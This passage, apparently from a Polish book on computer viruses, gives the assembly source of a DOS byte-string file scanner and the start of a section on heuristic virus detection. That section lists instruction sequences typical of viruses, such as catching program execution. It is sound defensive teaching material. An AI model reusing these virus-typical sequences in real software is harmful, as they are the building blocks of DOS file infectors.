Dlugosc dd ? ; zawarte w FAT z wyjatkiem pierwszego numeru JAP

Nazwa db 13 dup(?)

DTA_STRUC ends


;-------------------------------------------------------------------

; Segment Kodu

;-------------------------------------------------------------------

SKANER SEGMENT


ASSUME CS:SKANER, ds:SKANER


Start: ; poczatek programu

Call UstawParametrySystemu ; ustaw DS+nowe (DTA i int 24h)


mov si,Offset TeCopyRight ;

Call DrukLn ; wyswietl komunikat o programie


Call CzytajParametry ; Wez z PSP:80h parametry : Plik+Ciag

jc Blad ; gdy CF=1, to blad


Call SprawdzPlik ; czy plik istnieje ?

jc blad


Call SzukajLancuch ; Szukaj lancucha w pliku

jc Blad


mov NumerBledu,BlBezBledu ; wszystko OK !


Blad: ; skacz tu, jesli jakis blad

Call PrzywrocParametrySystemu ; stare DTA+INT 24h


Call OstatniKomunikat ; zwraca 0=bez bledu lub FF=blad


mov ah, 4Ch ; funkcja powrotu do systemu DOS

int 21h ; wywolaj funkcje


;-------------------------------------------------------------------

OstatniKomunikat proc near ; wyswietla komunikat na koncu programu

pushf ; zachowaj znaczniki, potrzebne pozniej


mov ax,seg SKANER

mov ds,ax ; DS=segment danych


mov al, NumerBledu ; al=numer bledu

cbw ; ax=numer bledu

shl ax,1 ; ax=ax*2, bo kazdy ofset=2 bajty

add ax,Offset OffsetyKomunikatow ; ax=tablica z adresami komunikatow bledow

xchg ax,bx ; bx=tablica z adresami komunikatow bledow

; [bx]=tablica[blad]

mov si,[bx] ; dx=offset do komunikatu o bledzie (lub 'OK')

Call DrukLn ; wypisz komunikat


popf ; przywroc znaczniki


mov al,0 ; w al przekaz kod bledu, 0=bez bledu

sbb al,0 ; jezeli blad, to al=FF


ret

OstatniKomunikat endp


;-------------------------------------------------------------------

SzukajLancuch proc near ; otwiera plik i szuka zadany ciag

; w calym pliku

mov ax,seg ProgDTA ; ustaw ES na segment, do ktorego beda

mov es,ax ; wczytywane dane =127 sektorow


mov ax,word ptr [BufDTA.Dlugosc] ; -DX:AX = dlugosc pliku

mov dx,word ptr [BufDTA.Dlugosc+2] ; /

or dx,dx ; czy b. znacz. czesc dlugosci =0

jnz DlugiPlik ; nie -> dlugosc<>0

cmp ax,DlugoscCiagu ; b. znacz. czesc=0, czy mniej znacz. czesc

jae DlugiPlik ; dlugosci > dlugosc ciagu

mov NumerBledu,BlPlikZaKrotki ; Blad : plik krotszy od ciagu !

jmp short NieMogeOtworzyc ; wyswietl blad

DlugiPlik:

mov si,offset TeSzukamCiagu ; wyswietl informacje o szukaniu

Call DrukLn ; lancuchu w pliku


mov NumerBledu,BlNieMogeOtworzyc ; ewentualny numer bledu

mov dx,Offset NazwaPliku ; nazwa pliku w DS:DX, tryb dostepu w AL

mov ax,3D00h+TrybOtwarciaPliku ; funkcja DOS - otworz plik

int 21h ; DOS : otworz plik

jc NieMogeOtworzyc ; CF=1 -> blad


xchg ax,bx ; BX=uchwyt pliku


Call CzytajSzukaj ; szukaj lancucha w calym pliku

jc NieMogeOtworzyc


mov ah,3Eh ; zamknij plik

int 21h ;


mov ax,word ptr [IleZnalezionych] ; wyswietl, ile razy ciag

mov dx,word ptr [IleZnalezionych+2] ; wystapil w pliku

mov si, offset TeZnalazlem

or dx,dx ; \ sprawdz, czy przynajmniej

jnz CosZnalazl ; \ raz, jak ani razu to

or ax,ax ; / inny komunikat

jnz CosZnalazl ; /

mov si, offset TeNieZnalazlem

CosZnalazl:

Call DrukLn ; wyswietl komunikat spod DS:SI

clc ; nie ma bledu


NieMogeOtworzyc:

ret ; powrot z procedury

SzukajLancuch endp


;-------------------------------------------------------------------

CzytajSzukaj proc near ; czytaj w pliku i szukaj lancuch

; na wejsciu numer pliku w BX

xor ax,ax ; \

mov word ptr [IleZnalezionych] ,ax ; \

mov word ptr [IleZnalezionych+2],ax ; - wyzeruj zmienne

mov word ptr [AdresCzytania],ax ; /

mov word ptr [AdresCzytania+2],ax ; /

mov NumerBledu,BlNieMogeCzytac ; ewent. blad

xor bp,bp ; BP oznacza odstep od poczatku bufora,

; pod ktory wczytujemy dane, na poczatku=0

dec DlugoscCiagu ; zmniejsz o 1 dlugosc ciagu potrzebne

; w pozniejszej operacji porownania

cld ; w oper. lancuchowych INC(SI,DI)


CzytajDoBufora: ; petla glowna

push ds ; zachowaj DS na stosie


mov ax,es

mov ds,ax ; DS=ES=segment na dane z pliku


mov cx,RozmiarBuforaDanych ; ile czytac danych

mov dx,offset BuforDanych ; DS:DX = tu wczytuj dane

add dx,bp ; dodaj dlug. danych, ktore zostaly z poprz. odczytu

mov ah,3Fh ; DOS : funkcja czytania

int 21h ; DOS : wykonaj funkcje


pop ds ; przywroc DS

jc NieMogeCzytac ; gdy CF=1, to blad


add word ptr [AdresCzytania],ax ; \dodaj do pozycji odczytu ilosc

adc word ptr [AdresCzytania+2],0 ; /odczytanaych bajtow

mov [Przeczytane],ax


add ax,bp ; \do ilosci odczytanych bajtow dodaj dlugosc danych

; /pozostalych z poprzedniego odczytu


cmp ax,DlugoscCiagu ; \ ax=dlugosc danych do porownania

jb KoniecPliku ; - jesli mniej niz ciag, to nie trzeba porownywac

; / bo i tak ciag sie nie znajdzie

xchg ax,cx ; cx=dlugosc danych do porownania

push cx ; zachowaj do pozniejszego porownania

mov di,offset BuforDanych ; poczatek danych

SzukajPierwszej:

mov si,Offset Ciag ; ofset do wyszukiwanego ciagu

lodsb ; al=pierwsza litera ciagu, INC(SI)

repnz scasb ; szukaj, az znajdzie w danych pierwsza litere

jnz NieMaPierwszej ; jesli nie znalazl, to czytaj dalej z pliku


cmp cx,DlugoscCiagu ; czy wystarczy danych w buforze do porownania ?

jae PorownajCaly ; jest co najmniej tyle lub wiecej to OK

inc cx ; - za malo danych

dec di ; - cofnij DI,CX na poprzednie wartosci

mov si,di ; - skopiuj koncowke bufora na poczatek

mov di,offset BuforDanych ; - zachowaj w BP dlugosc tej koncowki

mov bp,cx ; - w nastepnym odczycie dane wczytane

rep movs byte ptr es:[di],es:[si] ; - umieszczone beda za ta koncowka


jmp short NieMaPierwszej ; - a porownywanie sie powtorzy, ale teraz beda dane

PorownajCaly: ; - do porownania, po skoku czytaj dalej dane

push cx ;

push di ; zachowaj aktualna pozycje w buforze i licznik

mov cx,DlugoscCiagu ; dokladniej : dlugosc ciagu-1 bo nie musimy porownywac

; pierwszej litery, ktora juz byla sprawdzona

jcxz JednoLiterowy ; jesli CX=0, to ciag byl jednoliterowy

rep cmpsb ; porownaj cx bajtow

jne NieMaLancucha ; jesli ZF=0, nie znalazl ciagu

JednoLiterowy:

mov ax,word ptr [AdresCzytania] ; DX:AX=32 bitowa pozycja odczytu pliku

mov dx,word ptr [AdresCzytania+2]

sub ax,[Przeczytane]

sbb dx,0

sub ax,bp

sbb dx,0

pop di ; przywroc odleglosc od poczatku bufora

push di ; zachowaj di

dec di ; zmniejsz wskaznik, zeby wskazywal na pierwsza litere

add ax,di

adc dx,0 ; dodawanie 32 bitowe

; DX:AX = adres fizyczny wzgledem pocz. pliku

mov word ptr [AdresZnalezienia],ax ; -zapamietaj ten adres w zmiennej, bo procedura

mov word ptr [AdresZnalezienia+2],dx; /konwersji korzysta z ofsetu do zmiennej, zeby ja wyswietlic

mov si,offset TeZnalezionyNaPozycji ; -wyswietl tekst ze znalazl

Call DrukLn ; /adres : wyswietl szesnastkowo i dziesiatkowo

add word ptr [IleZnalezionych],1 ; -zwieksz 32 bitowy licznik wystapien

adc word ptr [IleZnalezionych+2],0 ; /dodaj ewentualne przeniesienie z 15 na 16 bit

NieMaLancucha:

pop di ;

pop cx ; przywroc aktualna pozycje w buforze+licznik

jcxz NieMaPierwszej ; czy juz caly bufor pusty ?

; xor bp,bp ; zeruj dlugosc koncowki

jmp short SzukajPierwszej ; skocz i szukaj nastepnego wystapienia

NieMaPierwszej:

pop ax ; zdejmij ilosc odczytanych danych ze stosu

cmp ax,RozmiarBuforaDanych ; i porownaj, czy tyle ile bylo wczytywanych

jb KoniecPliku ; jesli nie tyle samo, to koniec pliku

; jesli tyle samo, to czytaj dalej

jmp CzytajDoBufora ; skocz i czytaj dalej dane


KoniecPliku: ; dane sie skonczyly

clc ; nie ma bledu

NieMogeCzytac:

ret ; wroc z procedury

CzytajSzukaj endp


;-------------------------------------------------------------------

PrzywrocParametrySystemu proc near ; przywraca stare adresy DTA+Int 24h

; i ewentualnie atrybuty pliku

; (jezeli sytemowy, ukryty)

pushf ; zachowaj flagi z ew. bledem

cmp ZmienAtrPliku,Prawda ; czy przywrocic atrybut ?

jne NiePrzywracajAtrybutu ; skocz jesli nie

mov ax,4301h ; DOS: funkcja 43xxh wez(xx=0)/ustaw(xx=1) atr. pliku

xor ch,ch ; ch=0

mov cl,[BufDTA.Atrybut] ; cx=stare atrybuty

mov dx,Offset NazwaPliku ; DS:DX =nazwa pliku

int 21h ; DOS : zmien atrybuty


NiePrzywracajAtrybutu:


push ds ; zachowaj segment danych

push ds ; 2 razy -> na pozniej


lds dx,dword ptr [StareI24Ofs] ; przywroc stara obsluge bledow

mov ax,2524h ; ustaw Int 24h

int 21h ; funkcja 25h - ustaw wektor (numer w AL)

pop ds ; przywroc segment danych


lds dx,dword ptr [StareDTAOfs] ; przywroc stare DTA

mov ah,1Ah ; funkcja 1Ah - ustaw DTA

int 21h ; wywolaj funkcje

pop ds ; przywroc segment danych


popf ; przywroc znaczniki z ew. bledem

ret ; powrot z procedury

PrzywrocParametrySystemu endp


;-------------------------------------------------------------------

UstawParametrySystemu proc near ; ustaw obsluge przerwania 24h

; nowy bufor DTA

mov ax,seg SKANER

mov ds,ax ; DS=segment danych

mov MojAdresPSP,es ; zachowaj PSP


mov ax,3524h ; funkcja wez adres przerwania (num. w AL)

int 21h ; wez stare INT 24h do rejestrow ES:BX

mov StareI24Ofs,bx ; - zachowaj stare przerwanie

mov StareI24Seg,es ; / ES=segment, BX=offset


mov ah,2Fh ; wez stare DTA do rejestrow ES:BX

int 21h

mov StareDTAOfs,bx

mov StareDTASeg,es ; ES=segment, BX=ofset


mov dx,Offset BufDTA

mov ah,1Ah ; ustaw nowe DTA na adres zawarty w DS:DX

int 21h


push ds ; zachowaj DS

push cs ; -DS=CS

pop ds ; /

mov dx,offset NoweInt24 ; ustaw nowe przerwanie 24h

mov ax,2524h ; w DS:DX

int 21h

pop ds ; przywroc DS


ret ; powrot z procedury

UstawParametrySystemu endp


;-------------------------------------------------------------------

NoweInt24 proc near ; procedura obslugi przerwania programowego bledow

; krytycznych wywolywana przez DOS w razie bledu

push ds ; \

push ax ; -zachowaj DS i AX

mov ax,seg SKANER

mov ds,ax ; ds=segment danych

mov NumerBledu,BlBlad_ARIF ; zachowaj numer bledu

pop ax ; \

pop ds ; -przywroc DS i AX


mov al,3 ; pomin blad-program sam zadecyduje co dalej


iret ; nie wywoluj standardowego dialogu ARIF

NoweInt24 endp ; powrot z procedury obslugi przerwania programowego


;-------------------------------------------------------------------

SprawdzPlik proc near ; szukaj plik podany jako parametr


mov ZmienAtrPliku,Falsz ; na razie nie znamy atrybutow, wiec nie trzeba

; przywracac oryginalnych

mov NumerBledu,BlBrakPlikuNaDysku ; ustaw ew. numer bledu


mov ah,4Eh ; funkcja szukaj pozycji katalogu

mov dx,offset NazwaPliku ; DS:DX nazwa pliku

mov cx,AtAll ; w CX podaj atrybut szukanej pozycji

int 21h ; wywolaj funkcje

jc NieMaPliku ; gdy CF=1, to blad


mov si,offset BufDTA ; nie ma bledu , info o pliku jest w buforze DTA

mov al,[BufDTA.Atrybut] ; wez atrybut pliku

mov NumerBledu,BlZlyAtrybutPliku ; ewent. blad

test al,AtVolumeID+AtDirectory ; sprawdz, czy etykieta lub katalog (testuj bity)

stc ; ustaw ewent. blad

jnz NieMaPliku ; skocz, bo etykieta lub dysk


test al,AtHidden+AtSystem ; testuj bity : ukryty lub system

mov NumerBledu,BlBrakDostepuDoPliku ; ewent. blad

jz NieZmienAtr ; nie sa ustawione, to skocz dalej


mov ZmienAtrPliku,Prawda ; trzeba zmienic atrybut, zeby mozna bylo odczytac

mov ax,4301h ; funkcja ustaw atrybut pliku

mov cx,AtArchive ; cx=atrybyt jaki ustawic

mov dx,Offset NazwaPliku ; DS:DX nazwa pliku

int 21h ; wywolaj funkcje

jc NieMaPliku ; gdy CF=1, to blad

NieZmienAtr:

clc ; nie ma bledu, plik gotowy do odczytu

NieMaPliku:

ret ; wroc z procedury

SprawdzPlik endp


;-------------------------------------------------------------------

CzytajParametry proc near ; wez parametry z PSP:80h

push ds ; zachowaj DS


mov ax,ds ; ES=DS=segment z danymi

mov es,ax


mov ds,MojAdresPSP ; DS=blok PSP


mov si,LiniaPolecen ; ofset w PSP do linii polecen

mov es:NumerBledu,BlBrakParametrow ; ewentualny numer bledu


cmp byte ptr ds:[si],0 ; dlugosc linii polecen

je BladParametrow ; jezeli pusta, to nie ma parametrow


inc si ; pomin licznik

inc si ; pomin spacje

cld ; INC(SI,DI) w oper. na lancuchach


Call OpuscSpacje ; czytaj az znak <> SPACJA lub TAB


mov es:NumerBledu,BlBrakNazwyPliku ; ewentualny numer bledu

cmp al,ZnakKoncaLinii ;\ czy koniec parametrow ?

je BladParametrow ;- jesli tak, to powrot z procedury


mov di, offset NazwaPliku ; es:di : tu zapisz wyniki

Call KopiujDoSpacji ; kopiuj nazwe pliku


mov es:NumerBledu,BlBrakCiagu ; ewentualny numer bledu


cmp al,ZnakKoncaLinii ;\ czy koniec parametrow ?

je BladParametrow ;- jesli tak, to powrot z procedury


xor al,al ; plik ASCIIZ, wiec dodaj zero

stosb


Call OpuscSpacje ; czytaj az znak <>SPACJA lub TAB

cmp al,ZnakKoncaLinii ; czy koniec parametrow

je BladParametrow ; jesli tak, to blad


mov es:NumerBledu,BlZlyCiag ; ewentualny numer bledu

mov di, offset Ciag ; es:di : tu zapisz ciag

Call KopiujCiagDoKonca ; kopiuj parametr : ciag

jc BladParametrow ; jesli TAK, to blad


mov ax,di

sub ax,offset Ciag

jz BladParametrow ; jesli TAK, to lancuch pusty

mov es:DlugoscCiagu ,ax ; - zachowaj dlugosc ciagu

mov es:AbsDlugoscCiagu ,ax ; - zachowaj 2-i raz dlugosc ciagu


clc ; nie ma bledu

jmp short $+3 ; skocz i pomin rozkaz STC

BladParametrow:

stc ; jest blad

pop ds

ret ; wroc z procedury

CzytajParametry endp


;-------------------------------------------------------------------

OpuscSpacje proc near


lodsb ; czytaj znak z ds:[si], inc si

cmp al,ZnakSpacji ;\

je OpuscSpacje ; \ czy spacja lub znak tabulacji ?

cmp al,ZnakTabulacji ; / jezeli tak, to czytaj nastepny znak

je OpuscSpacje ;/

dec si ; zmniejsz wskaznik na poprzedni znak


ret ; powroc z procedury


OpuscSpacje endp

;-------------------------------------------------------------------

KopiujDoSpacji proc near

KopiujZnak:

lodsb ; czytaj znak z ds:[si], inc si

cmp al,ZnakSpacji ;\

je NieKopiuj ; \ czy spacja lub znak tabulacji

cmp al,ZnakTabulacji ; \lub koniec linii polecen

je NieKopiuj ; /jezeli tak, to koncz kopiowanie

cmp al,ZnakKoncaLinii ; /

je NieKopiuj ;/

stosb ; skopiuj znak

jmp short KopiujZnak ; skocz i wez nastepny znak

NieKopiuj:

dec si ; zmniejsz wskaznik na poprzedni znak


ret ; powroc z procedury


KopiujDoSpacji endp


;-------------------------------------------------------------------

KopiujCiagDoKonca proc


Pa_Nic = 00

Pa_Apostrof = 01


mov bl,Pa_Nic ; nie bylo znaku specjalnego

mov bh,0

KopiujParamZnak:

lodsb ; czytaj znak z ds:[si], inc si


cmp bl,Pa_Apostrof ; czy tekst w apostrofach ?

jne ZwyklyTekst ; NIE - dane heksalne


cmp al,39 ; czy znak apostrofu ?

jne NieKoniecTekstu ; Nie - idz dalej


mov bl,Pa_Nic ; koniec tekstu w apostrofach

jmp KopiujParamZnak ; idz po kolejny znak


NieKoniecTekstu:

stosb ; kopiuj zwykly tekst

jmp KopiujParamZnak ; wez kolejny znak


ZwyklyTekst:

cmp al,39 ; czy apostrof poczatkowy

jne NiePoczatektekstu ; NIE - sprawdzaj dalej


mov bl,Pa_Apostrof ; ustaw flage

jmp KopiujParamZnak ; idz po nastepny znak

NiePoczatektekstu:

cmp al,ZnakKoncaLinii ; \ pomin, gdy znak=CR

je KoniecParamTekstu ; /


cmp al,ZnakSpacji ; \ pomin, gdy znak=spacja

je KopiujParamZnak ; /


cmp al,ZnakTabulacji ; \ pomin, gdy znak=TAB

je KopiujParamZnak ; /


cmp al,'0' ; czy znak >=0 ?

jb KoniecParamTekstuBlad ; < blad


cmp al,'9' ; czy znak 0..9 ?

jbe ToCyfra09 ; TAK - cyfra


and al,0DFh ; 'a'..'z'->'A'..'Z'


cmp al,'A' ; czy znak <'A' ?

jb KoniecParamTekstuBlad ; TAK - blad


cmp al,'F' ; czy znak >'F' ?

ja KoniecParamTekstuBlad ; TAK - blad

; znak '0'..'F'

ToCyfra09:

cmp bh,0 ; czy licznik znakow=0 ?

je ToPierwszyZnak ; TAK - zachowaj znak na pozniej


cmp al,'9' ; czy znak to cyfra ?

jbe ALJest09 ;

sub al,'A'-'0'-10 ; konwertuj na liczbe

ALJest09:

cmp ah,'9' ; czy drugi znak to cyfra ?

jbe AHJest09

sub ah,'A'-'0'-10 ; konwertuj na liczbe

AHJest09:


sub ax,'00' ; \

mov bh,al ; \ konwersja liczby

mov al,16 ; \ heksalnej zapisanej

mul ah ; / jako lancuch, na zwykla

add al,bh ; / liczbe (znak ASCII)

stosb ; / i zapisz znak

mov bh,0 ; licznik znakow znow=0

mov bl,Pa_Nic ; "czyste" wyjscie

jmp KopiujParamZnak ; wez nastepny znak


ToPierwszyZnak:

mov ah,al ; zachowaj pierwszy znak liczby

mov bh,1 ; jest juz jeden znak

jmp KopiujParamZnak ; idz po nastepny znak


KoniecParamTekstu:

cmp bx,Pa_Nic ; czy "czyste" wyjscie ?

je KoniecParamTekstu2 ; jezeli nie, to blad


dec si ; zmniejsz wskaznik na poprzedni znak

KoniecParamTekstuBlad:

stc ; gdy CF=1, to nie ma bledu

jmp $+3 ; przeskocz 'CLC'

KoniecParamTekstu2:

clc ; gdy CF=0, to nie ma bledu

ret ; powrot z procedury


KopiujCiagDoKonca endp


;-------------------------------------------------------------------

DrukLn proc near ; drukowanie tekstu ACSIIZ spod DS:SI

; z przejsciem do nastepnej linii

Call Druk ; wydrukuj tekst

push si ; \

mov si,Offset TeCRLF ; \

Call Druk ; \

pop si ; --- przejdz do nastepnej linii


ret ; powrot z procedury


DrukLn endp


;-------------------------------------------------------------------

Druk proc near ; drukowanie tekstu ACSIIZ spod DS:SI


push ax ; \

push bx ; \

push cx ; \

push si ; --- zachowaj zmieniane rejestry


DrukZnak: ; petla drukowania jednego znaku

cmp si,offset CiagStart ; \

jb ToNieParamtekst ; \ jezeli drukowany jest

cmp si,offset CiagKoniec ; \ w obszarsze lancucha 'CiagBajtow'

jae ToNieParamtekst ; \ to pozwol drukowac kazdy znak

mov cx,AbsDlugoscCiagu ; \

add cx,offset CiagStart ; /

cmp si,cx ; /

jae KoniecDruku ; /

lodsb ; /

jmp short ToParamtekst ; /

ToNieParamtekst:

lodsb ; wez kolejny znak z lancucha


or al,al ; sprawdz, czy ostatni znak ?

jz KoniecDruku ; jesli tak, to wszystko wydrukowane


mov cx,IleWrostkow ; Ile zdefiniowanych wrostkow

mov bx,Offset TablicaWrostkow ; tablica z definicjami


SzukajWrostka: ; -sprawdz, czy al nie oznacza wrostka

cmp ds:[bx],al ; /

jne NastepnyWrostek ; jesli nie, to sprawdz nastepny w tablicy

test al,80h ; czy 7 bit ustawiony ?

jz NormalnyDruk ; nie - to ofset do tekstu

Call ds:[bx+1] ; tak - to procedura konwersji

xor al,al ; zeruj dla pozniejszego porownania

inc si ; - pomin ofset do liczby do konwrsji

inc si ; /

jmp short NastepnyWrostek ; sprawdz nastepny wrostek w tablicy

NormalnyDruk:

push si ; wrostek to tekst spod ofsetu w tablicy

mov si,ds:[bx+1] ; wrostkow

Call Druk ; wyswietl wrostek

pop si

xor al,al ; zeruj dla pozniejszego porownania

NastepnyWrostek:

add bx,3 ; zwieksz index do tablicy wrostkow

loop SzukajWrostka ; powtorz cx razy


or al,al ; czy to byl wrostek (al=0) ?

jz DrukZnak ; jesli tak, to wez nastepny znak


ToParamtekst:

mov ah,02h ; wyprowadz znak na

mov dl,al ; standardowe wyjscie DOSa

int 21h


jmp short DrukZnak ; skocz i wez nastepny znak lancucha

KoniecDruku:

pop si ; --- przywroc zmienione rejestry

pop cx ; /

pop bx ; /

pop ax ; /


ret ; wracaj


Druk endp

;-------------------------------------------------------------------


Bin2HexUnInt32 proc near ; procedura wyswietla 32 bitowa liczbe szesnastkowa

; ofset do liczby znajduje sie w si

push ax ; \

push bx ; \

push dx ; \

push si ; --- zachowaj zmieniane rejestry


mov bx,[si] ; wez ofset do liczby 32 bitowej

mov ax,[bx] ; - wczytaj liczbe do DX:AX

mov dx,[bx+2] ; /

mov si,offset Hex2DecBufor ; ustaw na poczatek bufora

mov bx,offset HexChars ; wez ofset do tablicy z cyframi szesnastkowymi


push ax ; zapamietaj mniej znacz. slowo

mov ax,dx ; najpierw bar. znacz. slowo

Call Bin2HexUnInt16 ; konwertuj liczbe 16 bitowa

pop ax ; przywroc mniej znacz. slowo


Call Bin2HexUnInt16 ; terax mniej znacz. slowo


mov word ptr [si],'h' ; ustaw na koncu znak 'h' i 0


mov si,offset Hex2DecBufor ; - wyswietl liczbe

Call Druk ; /


pop si ; --- przywroc zmienione rejestry

pop dx ; /

pop bx ; /

pop ax ; /


ret ; powrot



Bin2HexUnInt16: ; wewnetrzna procedura wywoluje "zstepujaco"

; kolejne nizsze ranga procedury konwersji

push ax

mov al,ah ; konwertuj b. znacz. czesc AX

Call Bin2HexUnInt8

pop ax ; konwertuj m. znacz. czesc AX

Bin2HexUnInt8: mov ah,al

shr al,1 ; \

shr al,1 ; \ wyizoluj 4 bity (4..7)

shr al,1 ; / al=gorna polowa liczby

shr al,1 ; / szesnastkowej

Call Bin2HexUnInt4 ; konwertuj b. znacz. bity (4..7)

mov al,ah

and al,15 ; wyizoluj 4 bity (0..3)

Bin2HexUnInt4:

xlatb ; al=byte ptr ds:[bx+al]

mov [si],al ; zachowaj znak w buforze

inc si ; zwieksz indeks

ret ; powrot z wen. procedury


Bin2HexUnInt32 endp


;-------------------------------------------------------------------

Bin2DecUnInt32 proc near ; wyswietla liczbe 32 bitowa bez znaku dziesietnie


push ax ; \

push bx ; \

push dx ; \

push si ; --- zachowaj zmieniane rejestry


mov si,[si] ; wez ofset do liczby 32 bitowej

mov ax,[si] ; - wczytaj liczbe do DX:AX

mov dx,[si+2] ; /

mov si,offset Hex2DecBufor+10 ; ustaw na koniec bufora, bo zapis od konca

mov byte ptr ds:[si],0 ; utworz ASCIIZ (dodaj zero na koncu)

DzielPrzez10:

mov bx,10 ; dziel DX:AX przez BX

Call Dziel32 ; w bx reszta z dzielenia

add bl,'0' ; dodaj ASCII "0"

dec si ; zmniejsz indeks do tablicy

mov byte ptr ds:[si],bl ; zapisz cyfre

or dx,dx ; \

jnz DzielPrzez10 ; \

or ax,ax ; \

jnz DzielPrzez10 ; --- czy liczba jest juz 0 ?


Call Druk ; wyswietl lancuch z liczba po konwersji


pop si ; --- przywroc zmienione rejestry

pop dx ; /

pop bx ; /

pop ax ; /


ret ; powrot


Bin2DecUnInt32 endp


;-------------------------------------------------------------------

Dziel32 proc near ; dziel (dx:ax)/bx


push bp ; zachowaj bp

push ax ; zachowaj mniejsza czesc liczby 32 bitowej

mov ax,dx ; przenies b. znacz. czesc do mniej. znacz.

xor dx,dx ; i wyzeruj dx , dx:ax = > 0:dx

div bx ; podziel (0:dx)/bx

mov bp,ax ; calosc z dzielenia, to wieksza czesc wyniku

pop ax ; przywroc do AX mniej znaczaca liczbe z poczatku

div bx ; dx jest reszta z dzielenia b. znacz. czesci przez BX

mov bx,dx ; w bx reszta z dzielenia

mov dx,bp ; dx:ax=liczba podzielona przez bx,

pop bp ; a w bx reszta z dzielenia

ret


Dziel32 endp


;-------------------------------------------------------------------

; (teksty komunikatow+zmienne ogolne)

;-------------------------------------------------------------------

TeCopyRight db CR,LF,'SKANER v1.0, Autor : Adam Blaszczyk 1997'

db CR,LF

db CR,LF,' Wywolanie: SKANER NazwaPliku CiagBajtow'

db CR,LF

db CR,LF,' CiagBajtow moze skladac sie z liczb zapisanych heksalnie lub zwyklego'

db CR,LF,' tekstu np: '

db CR,LF,' _ CD 21 - szuka wywolania przerwania 21h'

db CR,LF,' _ ''wirus'' - szuka slowa "wirus"'

db CR,LF,' _ ''abc''80C5''def''EE F6 - szuka lancucha "abcÃ+def_¸"'

TeCRLF db CR,LF,0

TeSzukamCiagu db 'Szukam lancuch "',DrCiag ,'" w pliku "',DrPlik,'"',0

TeBezBledu db 'OK !',0

TeBrakParametrow db 'BLAD : Podaj Parametry !',0

TeBrakNazwyPliku db 'BLAD : Podaj nazwe pliku !',0

TeBrakCiagu db 'BLAD : Podaj ciag do wyszukania',0

TeZlyCiag db 'BLAD : Podany ciag zawiera bledy !',0

TeBrakPlikuNaDysku db 'BLAD : Nie moge znalezc pliku "',DrPlik,'"',0

TeBlad_ARIF db 'BLAD : Brak dostepu do pliku "',DrPlik,'" (int 24h) !',0

TeZlyAtrybutPliku db 'BLAD : "',DrPlik,'" to etykieta dysku lub katalog !',0

TeBrakDostepuDoPliku db 'BLAD : Brak dostepu do pliku - nie mozna chwilowo zmienic atrybutow ! ',0

TeNieMogeOtworzyc db 'BLAD : Nie moge otworzyc pliku "',DrPlik,'"',0

TeNieMogeCzytac db 'BLAD : Nie moge czytac pliku "',DrPlik,'"',0

TeNieMogeZamknac db 'BLAD : Nie moge zamknac pliku "',DrPlik,'"',0

TePlikZaKrotki db 'BLAD : Plik "',DrPlik,'" jest krotszy niz ciag !',0

OffsetyKomunikatow dw offset TeBezBledu ; BlBezBledu equ 00h

dw offset TeBrakParametrow ; BlBrakParametrow equ 01h

dw offset TeBrakNazwyPliku ; BlBrakNazwyPliku equ 02h

dw offset TeBrakCiagu ; BlBrakCiagu equ 03h

dw offset TeZlyCiag ; BlZlyCiag equ 04h

dw offset TeBrakPlikuNaDysku ; BlBrakPlikuNaDysku equ 05h

dw offset TeBlad_ARIF ; BlBlad_ARIF equ 06h

dw offset TeZlyAtrybutPliku ; BlZlyAtrybutPliku equ 07h

dw offset TeBrakDostepuDoPliku ; BlBrakDostepuDoPliku equ 08h

dw offset TeNieMogeOtworzyc ; BlNieMogeOtworzyc equ 09h

dw offset TeNieMogeCzytac ; BlNieMogeCzytac equ 0Ah

dw offset TeNieMogeZamknac ; BlNieMogeZamknac equ 0Bh

dw offset TePlikZaKrotki ; BlPlikZaKrotki equ 0Ch

TeNieZnalazlem db 'Nie znalazlem lancucha "',DrCiag ,'" w pliku "',DrPlik,'" !',0

TeZnalazlem db 'Ciag "',DrCiag ,'" wystapil '

db DrUnIntDec

dw offset IleZnalezionych

db ' raz(y) w pliku "',DrPlik,'" !',0

TeZnalezionyNaPozycji db 'Ciag "',DrCiag ,'" wystapil na pozycji '

db DrUnIntHex

dw offset AdresZnalezienia

db ','

db DrUnIntDec

dw offset AdresZnalezienia

db 0

HexChars db '0123456789ABCDEF'

TablicaWrostkow db DrPlik

dw offset NazwaPliku

db DrCiag

dw offset Ciag

db DrUnIntDec

dw offset Bin2DecUnInt32

db DrUnIntHex

dw offset Bin2HexUnInt32

NumerBledu db ?

MojAdresPSP dw ?

AdresCzytania dd ?

AdresZnalezienia dd ?

Przeczytane dw ?

IleZnalezionych dd ?

DlugoscCiagu dw ?

AbsDlugoscCiagu dw ?

StareDTAOfs dw ?

StareDTASeg dw ?

StareI24Ofs dw ?

StareI24Seg dw ?

ZmienAtrPliku db ?

Hex2DecBufor db 11 dup(?)

CiagStart:

Ciag db RozmiarCiagu dup(?)

CiagKoniec:

NazwaPliku db DlugNazwyPliku dup(?)

BufDTA DTA_STRUC <>

SKANER ENDS


;-------------------------------------------------------------------

; Segment DTA

; do wczytywania danych (127 sektorow 512 bajtowych=65024 bajtow)

;-------------------------------------------------------------------

ProgDTA SEGMENT

BuforDanych db RozmiarBuforaDanych dup(?) ; bufor na dane z pliku

ProgDTA ENDS


;-------------------------------------------------------------------

; Segment Stosu

;-------------------------------------------------------------------

ProgStos segment word stack 'STACK' ; ustaw STOS

dw RozmiarStosu dup(?)

ProgStos ends


end start



12.2. Heurystycze wyszukiwanie wirusów

Jak wspomniano we wstępie, większość istniejących wirusów to najczęściej przeróbki, stąd techniki wykorzystywane w pierwowzorach są bez większych zmian implementowane w kolejnych, nowych pokoleniach wirusów.

Wykorzystując ten fakt, twórcy programów antywirusowych zaczęli stosować technikę heurystycznego wykrywania kodu, polegającą na tym, iż na podstawie znajomości charakterystycznych, klasycznych sekwenqi instrukcji zawartych w typowych wirusach, można znaleźć nieznane jeszcze, ale wykorzystujące je wirusy. Typowe instrukcje wykorzystywane przez wirusy zostały wymienione w poprzednich rozdziałach, np. przy okazji omawiania instalacji w systemie i przejmowania przerwań. Poniżej pokazano kilka instrukcji podatnych na heurystykę lub sekwencji znajdujących się najczęściej w kodzie typowego wirusa plikowego. Jeżeli program antywirusowy, przeszukując pamięć lub plik, zidentyfikuje je (lub też inne), najczęściej informuje o tym użytkownika. Często wykrycie nawet kilku charakterystycznych bajtów w pamięci może umożliwić wykrycie nieznanego jeszcze wirusa. Poszukiwanie sekwencji może być prowadzone bądź to przy okazji zwykłego skaningu, bądź też podczas kontrolowanego uruchamiania programów (tryb krokowy, emulacja procesora).

CMP AX, 4B00h ; sprawdƒ czy jest uruchamiany jaki£ program

; 3D,00,4B kod maszynowy rozkazu

CMP DS:[0],Z ; czy ostatni blok pamiÛci

